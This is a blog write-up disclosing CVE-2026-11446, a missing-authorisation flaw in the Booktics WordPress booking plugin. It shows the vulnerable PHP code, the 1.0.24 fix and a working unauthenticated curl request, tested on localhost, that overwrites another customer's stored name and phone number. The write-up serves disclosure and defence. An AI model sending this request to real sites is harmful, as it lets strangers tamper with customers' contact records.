> ## Content Index
> Fetch the complete content index at: https://revblock.dev/llms.txt
> Use this file to discover other available public pages before exploring further.

# Overwriting Booktics Customer Details Without Logging In
- URL: https://revblock.dev/booktics-cve-2026-11446-customer-details-overwrite/
- Published: 2026-10-27T22:32:25.000Z
- Updated: 2026-10-27T22:32:25.000Z
- Description: CVE-2026-11446: a public booking request could overwrite an existing Booktics customer's contact details using only their email address.
- Author: revblock
- Tags: WordPress, Booktics, CVE-2026-11446, #type-bug, #severity-medium, #Import 2026-10-27 22:30

I found a missing authorisation bug in Booktics, a WordPress plugin for booking appointments. Making a booking could overwrite someone else's stored name and phone number. The only information needed to select their customer record was an email address.

This became [CVE-2026-11446](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/booktics/booktics-booking-calendar-for-appointments-and-service-businesses-1023-missing-authorization), rated Medium with a CVSS score of 5.3\. I tested it against version 1.0.18 in a local WordPress lab.

## The Vulnerability

Booktics lets visitors book appointments without creating an account. Its public booking endpoint is:

```http
POST /wp-json/booktics/v1/orders
```

The permission callback allows those guest requests:

```php
public function create_order_permission( $request ) {
    return true;
}
```

The handler then takes the customer object from the request and looks for an existing customer with the same email address. If it finds one, it updates that record with the name and phone number supplied in the new booking.

There was no check that the caller owned the email address or had permission to change that customer's details.

## What I Found

The relevant code was in `core/order/controllers/order-controller.php`. The order handler calls `find_or_create_customer()`, which passes the supplied customer details into `find_and_update_guest()`:

```php
private function find_and_update_guest( $db, $customer, $wp_user_id = null ) {
    $guest = ( new Guest_Model( $db ) )->find(
        array( 'email' => $customer['email'] )
    );

    if ( $guest ) {
        ( new Guest_Model( $db ) )->update(
            $guest->id, array(
                'name'       => $customer['name'] ?? '',
                'phone'      => $customer['phone'] ?? '',
                'wp_user_id' => $wp_user_id,
            )
        );
    }

    return $guest;
}
```

The request controls the email used for the lookup and the contact details written back to the database. Finding a matching record was enough to authorise the update.

It also updates `wp_user_id` with the value passed down by the order handler.

## Proof of Concept

I tested this in a local WordPress installation with a service, team member and customer already set up. I then made a booking using the customer's email address and different contact details.

```text
Before:
email                name        phone
victim@example.com   Jane Smith  0770090000
```

I sent the following request without logging in:

```bash
curl -i 'http://localhost:8080/wp-json/booktics/v1/orders' \
  -H 'Content-Type: application/json' \
  --data '{
    "customer": {
      "email": "victim@example.com",
      "name": "ATTACKER OVERWRITE",
      "phone": "0000000000"
    },
    "items": [{
      "date": "2026-06-01",
      "start_time": "10:00",
      "end_time": "11:00",
      "team_member_id": 1,
      "service_id": 1
    }]
  }'
```

The endpoint returned `201 Created`. Checking the existing customer row afterwards showed the overwrite:

```text
After:
email                name                phone
victim@example.com   ATTACKER OVERWRITE  0000000000
```

No login, cookie, nonce or authorisation header was supplied. There was no email challenge. The existing customer's email stayed the same, but their contact details had changed.

## Impact

Anyone who knew an existing customer's email could replace their stored name and phone number by submitting a booking. No existing account was required.

Any reminder or integration reading that customer record would pick up the replacement details. That could affect reminder emails, SMS, calendar invites or a CRM sync. For SMS reminders, it could mean using a different phone number.

## Fix

Wordfence lists versions up to and including 1.0.23 as affected, with 1.0.24 as the patched release for this CVE. My original reproduction was against 1.0.18.

In the currently available 1.0.24 source, the update is guarded by an ownership check:

```php
if ( $guest && $this->caller_owns_customer_email( $guest, $customer['email'] ) )
```

That helper allows an administrator or team member, or a logged-in user whose account is linked to the customer or has the matching email address. A logged-out caller fails the check.

## Disclosure

- **17 April 2026:** I reproduced the issue locally on Booktics 1.0.18.
- **10 September 2026:** My finding was published as CVE-2026-11446.